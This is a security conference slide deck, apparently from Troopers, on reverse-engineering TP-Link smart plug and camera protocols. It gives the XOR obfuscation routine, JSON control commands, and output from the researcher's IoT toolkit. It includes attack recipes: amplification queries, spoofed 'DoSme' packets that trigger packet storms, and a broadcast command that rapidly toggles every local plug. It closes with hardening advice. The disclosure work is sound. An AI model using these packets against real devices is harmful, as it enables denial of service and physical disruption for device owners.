Hacking TP-Link Devices

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About...

- Security Researcher and Consultant at SI6 Networks
- Published:
 - 30 IETF RFCs
 - 10+ active IETF Internet-Drafts
- Author of the SI6 Networks' IPv6 toolkit
 - https://www.si6networks.com/tools/ipv6toolkit
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Motivation for this work





Motivation

- People are connecting **everything** to the network
 - The so-called "Internet of Things" (also "Internet of S..." ;-))
- Impact of attacks tends to get more "physical"
- Are these "things" prepared for the real world?

Why TP-Link devices?

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Why TP-link devices?

- Reasonable price
 - You don't want to spend 50 EUR on a "smart plug"
- They tend to be rather "open"
 - Possible to overwrite their firmware
- Easily available / rather popular
 - I had some available to play with
 - It's also nice to learn about the stuff you're using

TP-Link smart devices



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Previous work & tools





Previous work & Tools

- Great research on TP-Link Smart plugs by Lubomir Stroetmann (Softcheck):
 - https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/
- Reverse-engineered a protocol employed by TP-Link devices
- Implemented some PoC
- Very valuable work!

Our work

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Our work

- Further research on the involved protocols
 - Possible attacks on the protocol itself
 - Extended existing analysis by sniffing traffic & implementing tools
- Produce more elaborate tools
- SI6 Networks IoT toolkit v1.0
 - https://www.si6networks.com/tools/iot-toolkit
 - Released during this conference!
- Use this project to trigger other work and brainstorming



TP-Link Smart Plugs





TP-Link Smart Plugs (HS110, HS100)

- Allow remote operation of on/off switch
- Allow timers, event scheduling, etc.
- Some (HS110) are able to measure power consumption
- Can be locally-operated (WiFi)
- Also allow for "cloud" operation



TP-Link Smart Plug Operation

- Main protocol: TP-Link Smart Plug Protocol
 - Available on port 9999 for both TCP and UDP
- Also support TDDP, a debugging protocol
- Some (HS110) are able to measure power consumption
- Can be locally-operated (WiFi)
- Also allow for "cloud" operation

TP-Link Smart Plug Protocol Introduction





TP-Link Smart Plug Protocol

- Available on port 9999 for both TCP and UDP
- Encrypted
 - "Obfuscated", you'd say
- JSON-based protocol
- Used for:
 - Device discovery
 - Device configuration
 - Polling and/or modifying device state



Difference between TCP & UDP versions

- UDP-based version:
 - Entire payload devoted to JSON command
 - Commands can be broadcasted
- TCP-based version:
 - Every command is preceded by 4-byte payload length in Network Byte Order
 - Obviously, commands canot be broadasted

TP-Link Smart Plug Protocol Encryption/Decryption





TP-Link Protocol "Encryption"

- Protocol employs an algorithm to obfuscate the payload
- Encryption:

```
k= 171;
for(i=0; i<LEN; i++) {
    t= b[i] xor k;
    k= b[i];
    b[i]= t;
}
```

"XOR each byte with the previous (plaintext) byte. Initial byte is XORed with special value 171"



TP-Link Protocol "Decryption"

- Simply invert the algorithm from the previous slide
- Decryption:

```
k= 171;
for(i=0; i<LEN; i++) {
    b[i]= b[i] xor k;
    k= b[i];
}
```



JSON Primer

- JSON is a text-based way to encode data (just as XML is)
- JSON objects take this form:





Jason Primer (II)

• A sample command, to turn the relay "on":

```
{"system":{"set_relay_state":{"state":1}}}
```

• Sample response (successfull command):

```
{"system":{"set_relay_state":{"err_code":0}}}
```





TP-Link Smart Plug Protocol Finding devices on the local network



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Finding devices on the local network

• The TP-Link app discovers smartplugs by broadcasting:

```
{"system":{"get_sysinfo":null},"emeter":
{"get_realtime":null}}
```

- These are two queries in the same packet:
 - "system": Module available on all TP-Link Smart Plugs
 - "emeter": Energy Monitoring module (available in HS110 model)
- The response will include, among others:
 - Type and model of the device
 - Hardware and software version
 - Device alias
- A single query is enough for exact fingerprinting



Scanning for SmartPlugs with iot-scan

• Sample command:

fgont@matrix:~/code/iot-toolkit \$./iot-scan -i eth0 -L 192.168.3.66 # smartplug: TP-Link HS100(EU): Wi-Fi Smart Plug: "mio" 192.168.3.42 # camera: TP-Link IP camera 192.168.3.43 # camera: TP-Link IP camera

Issuing commands with iot-tl-plug

• Sample command:

```
fgont@matrix:~/code/iot-toolkit $ sudo ./iot-tl-plug -L -i eth0 -c
get_info
Got response from: 192.168.3.66, port 9999
{"system":{"get_sysinfo":{"err_code":0,"sw_ver":"1.0.8 Build 151101
Rel.24452","hw_ver":"1.0","type":"smartplug","model":"HS100(EU)","ma
c":"50:C7:BF:00:C4:D0","deviceId":"8006BE9B2C1A6114DBFA0632B02D566D1
70BC38A","hwId":"22603EA5E716DEAEA6642A30BE87AFCA","fwId":"BFF24826F
BC561803E49379DBE74FD71","oemId":"812A90EB2FCF306A993FAD8748024B07",
"alias":"mio","dev_name":"Wi-Fi Smart
Plug","icon_hash":"","relay_state":0,"on_time":0,"active_mode":"sche
dule","feature":"TIM","updating":0,"rssi":-
52,"led_off":0,"latitude":0,"longitude":0}},"emeter":{"err_code":-
1,"err_msg":"module not support"}}
```



TP-Link Smart Plug Protocol Vulnerabilities & Potential Problems



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The obvious

- No encryption or authentication
- UDP-based version of the protocol allows for source address spoofing



Amplification

- One 40-byte query: ({"system":{"get_sysinfo":null}}) will result in a 500-byte response
- A single packet may contain multiple instances of the same query, exacerbating this problem:

```
{"system":{"get_sysinfo":null},"system":
{"get_sysinfo":null},"system":
{"get_sysinfo":null},"system":
{"get_sysinfo":null}}
```

- Nice for amplification
 - but protocol is only local



DoS Attack vector

- Protocol Design 101: "Error messages must not elicit error ulletmessages"
- However, a message meant to a non-existing module: •

{"DoSme": {"err code": -1, "err msg": "module not support"}}

will elicit the following response:

{"DoSme":{"err code":-1,"err msg":"module not support"}}

One packet will cause a packet war

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This is even worse when original paket is broadcasted



DoS Attack vector: Variant #1

- Packet:
 - Source Address: victim
 - Source Port: 9999
 - Destination Address: victim
 - Destination Port: 9999
 - Payload:

{"DoSme":{"err_code":-1,"err_msg":"module not support"}}

• This will trigger a packet storm inside the device itself



DoS Attack vector: Variant #2

- Packet:
 - Source Address: victim_1
 - Source Port: 9999
 - Destination Address: victim_2
 - Destination Port: 9999
 - Payload:

{"DoSme":{"err_code":-1,"err_msg":"module not support"}}

• This will trigger a packet storm between two devices, and possible DoS the network



Fast switching

• Switch on/off very fast:

\$ iot-tl-plug --toggle TARGET#CYCLE#LENGTH

- e.g.
 - \$ iot-tl-plug --toggle 255.255.255.255#50#120

"Toggle the relay state of all local smart plugs every 50 ms, for two minutes"

TP-Link Device Debug Protocol (TDDP) Introduction





Introduction

- TDDP not used actively for Smart Plugs
- Originally found by reverse engineering
- **Concept** described in a patent

http://www.google.com/patents/CN102096654A?cl=en

- Protocol employed in other TP-Link devices, with changes
- Not really possible to use TDDP across all TP-Link devices

TDDP in Smart Plugs

- Simple command-response UDP-based protocol
- Commands must be sent to UDP port 1040
- Responses are received on UDP port 61000
- Employs MD5 as checksum
- Employs DES for encryption

Packet format

0 2 3 1 Λ 2 0 1 5 7 8 5 6 8 Ver Code ReplyInfo Type -+-+-+-+-+ -+-+-+-+-+-+-+-+ -+-+-+-+-+-+-+ +-+-+-+-+-+ PktLength -+-+-+-+-+-+ SubType PktID Reserve MD5 Digest[0-3] MD5 Digest[4-7] MD5 Digest[8-11] +-+-+ MD5 Digest[12-15]



iot-tddp: A TDDP implementation

- You can send arbitrary TDDP messages with iot-tddp.
- Example:

\$ iot-tddp -d 192.168.3.41 -a 1068 Sending TDDP Packet: Version: 02 Type: 03 Subtype: 00 Code: 01 ReplyInfo: 00 PktLength: 00000000 PktId: 2000 MD5 Digest: 719085ea0e8c06ab63efca3261461efd Payload:

Read 28 bytes from 192.168.3.41
Version: 02 Type: 03 Subtype: 17 Code: 02 ReplyInfo: 03
PktLength: 00000000
PktId: 0000 MD5 Digest: 72a9a232add865ae7840ad6208f93416
Payload:



TP-Link Cameras

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TP-Link IP Cameras (NC220, NC250)

- IP cameras
- Motion detection & notifications
- Support different video resolutions
- Can be locally-operated (WiFi)
- Also allow for "cloud" operation

TP-Link Cameras Operation

- Done via web interface or TDDP
- Video and audio streams, plus camera snapshots available via HTTP
- Examples:



TP-Link Device Deployment Advice How to use them while reducing trouble



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Some deployment guidelines

- Employ a separate network for your IoT devices
 - Anyone with local network access owns you
- Prevent IoT devices from calling (TP-Link) home
 - Overwrite the "cloud" URL
 - Block TP-Link cloud domains & IP addresses
- Replace Tp-Link app with your own
 - Customized web site with firing commands with our toolkit



How will IPv6 affect us? Futurology

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IoT & IPv6: Brief overview

- Most of these IoT devices:
 - Have immature implementations
 - Use insecure protocols
 - Are unlikely to get patched
- IPv6 potentially makes all these devices globally reachable
- It is extremely likely that that will result in a lot of trouble



IoT & IPv6: A way forward

- The whole point of IPv6 is its increased address space
 - i.e., be directly connected to the Internet when and if you need it
- Having a unique address **need not** imply being reachable
- Connectivity requirements essentially depend on:
 - Push vs pull model
 - Most of these IoT devices employ the pull model!
- At the very least, your IoT devices should be connected with a "diode" firewall
 - This is a side-effect in IPv4 NAT



SI6 Networks' IoT Toolkit New tools

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IoT Toolkit

- Formally released during Troopers
- Repo already available at:

https://github.com/fgont/iot-toolkit



Questions?





Thanks!

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IoT Hackers mailing-list

http://www.si6networks.com/community/



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